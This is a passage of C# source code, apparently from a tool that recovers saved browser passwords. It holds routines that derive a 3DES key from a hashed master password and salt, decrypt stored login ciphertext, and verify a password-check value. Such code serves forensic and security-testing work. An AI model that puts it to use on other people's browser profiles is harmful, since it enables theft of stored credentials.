243 | //Create TK = HMAC-SHA1(combinedHashedPassword, paddedEntrySalt)
244 | keyFirstHalf = hmac.ComputeHash(firstHalf);
245 | byte[] tk = hmac.ComputeHash(paddedEntrySalt);
246 |
247 | //Second half of EDE key = HMAC-SHA1(combinedHashedPassword, tk + entrySalt)
248 | byte[] secondHalf = new byte[tk.Length + entrySalt.Length];
249 | Buffer.BlockCopy(tk, 0, secondHalf, 0, entrySalt.Length);
250 | Buffer.BlockCopy(entrySalt, 0, secondHalf, tk.Length, entrySalt.Length);
251 |
252 | keySecondHalf = hmac.ComputeHash(secondHalf);
253 |
254 | //Join first and second halves of EDE key
255 | byte[] tempKey = new byte[keyFirstHalf.Length + keySecondHalf.Length];
256 | Buffer.BlockCopy(keyFirstHalf, 0, tempKey, 0, keyFirstHalf.Length);
257 | Buffer.BlockCopy(keySecondHalf, 0, tempKey, keyFirstHalf.Length, keySecondHalf.Length);
258 |
259 | edeKey = tempKey;
260 | }
261 |
262 | byte[] key = new byte[24];
263 | byte[] iv = new byte[8];
264 |
265 | //Extract 3DES encryption key from first 24 bytes of EDE key
266 | Buffer.BlockCopy(edeKey, 0, key, 0, 24);
267 |
268 | //Extract initialization vector from last 8 bytes of EDE key
269 | Buffer.BlockCopy(edeKey, (edeKey.Length - 8), iv, 0, 8);
270 |
271 | using (TripleDESCryptoServiceProvider tripleDES = new TripleDESCryptoServiceProvider
272 | {
273 | Key = key,
274 | IV = iv,
275 | Mode = CipherMode.CBC,
276 | Padding = PaddingMode.None
277 | })
278 | {
279 | ICryptoTransform cryptoTransform = tripleDES.CreateDecryptor();
280 | decryptedResult = cryptoTransform.TransformFinalBlock(cipherText, 0, cipherText.Length);
281 | }
282 | }
283 | catch (Exception e)
284 | {
285 | Console.WriteLine($"Exception {e}");
286 | decryptedResult = null;
287 | }
288 | Console.ResetColor();
289 | return decryptedResult;
290 | }
291 |
292 | public static byte[] Decrypt3DESLogins(byte[] cipherText, byte[] iv, byte[] key)
293 | {
294 | byte[] decryptedResult = new byte[cipherText.Length];
295 |
296 | try
297 | {
298 | using (TripleDESCryptoServiceProvider tripleDES = new TripleDESCryptoServiceProvider
299 | {
300 | Key = key,
301 | IV = iv,
302 | Mode = CipherMode.CBC,
303 | Padding = PaddingMode.None
304 | })
305 | {
306 | ICryptoTransform cryptoTransform = tripleDES.CreateDecryptor();
307 | decryptedResult = cryptoTransform.TransformFinalBlock(cipherText, 0, cipherText.Length);
308 | }
309 | }
310 | catch (Exception e)
311 | {
312 | Console.ForegroundColor = ConsoleColor.Red;
313 | Console.WriteLine($"[-] {e.Message}");
314 | Console.ResetColor();
315 | }
316 | return decryptedResult;
317 | }
318 |
319 | public static bool PasswordCheck(byte[] passwordCheck)
320 | {
321 | //checkValue = "password-check\x02\x02"
322 | byte[] checkValue = new byte[] { 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2d, 0x63, 0x68, 0x65, 0x63, 0x6b, 0x02, 0x02 };
323 |
324 | if (passwordCheck.SequenceEqual(checkValue))
325 | {
326 | Console.ForegroundColor = ConsoleColor.Green;
327 | Console.WriteLine("[+] Password Check success!");
328 | Console.ResetColor();
329 |
330 | return true;
331 | }
332 | else
333 | {
334 | Console.ForegroundColor = ConsoleColor.Red;
335 | Console.WriteLine("[-] Password Check Fail...");
336 | Console.ResetColor();
337 |
338 | return false;
339 | }
340 | }
341 |
342 | public byte[] Unpad(byte[] key)
343 | {
344 | bool paddingCheck = true;
345 |
346 | //Check integer value of last byte of array
347 | int paddingValue = key[key.Length - 1];
348 | byte[] unpadded = new byte[key.Length - paddingValue];
349 |
350 | //Check last n bytes of key for equality where n = integer value of last byte
351 | for (int i = 1; i < (paddingValue + 1); i++)
352 | {
353 | if (!(key[key.Length - i] == paddingValue))
354 | {
355 | Console.ForegroundColor = ConsoleColor.Red;
356 | Console.WriteLine($"[-] Unpad() Error: Incorrect or Nil padding applied to byte array:\n{BitConverter.ToString(key)}");
357 | Console.ResetColor();
358 | //Throw exception here
359 | paddingCheck = false;
360 | }
361 | }
362 |
363 | if (paddingCheck)
364 | {
365 | //Create new bytearray with trailing padding bytes removed
366 | Buffer.BlockCopy(key, 0, unpadded, 0, unpadded.Length);
367 | }
368 |
369 | return unpadded;
370 | }
371 | }
372 | }
373 |
--------------------------------------------------------------------------------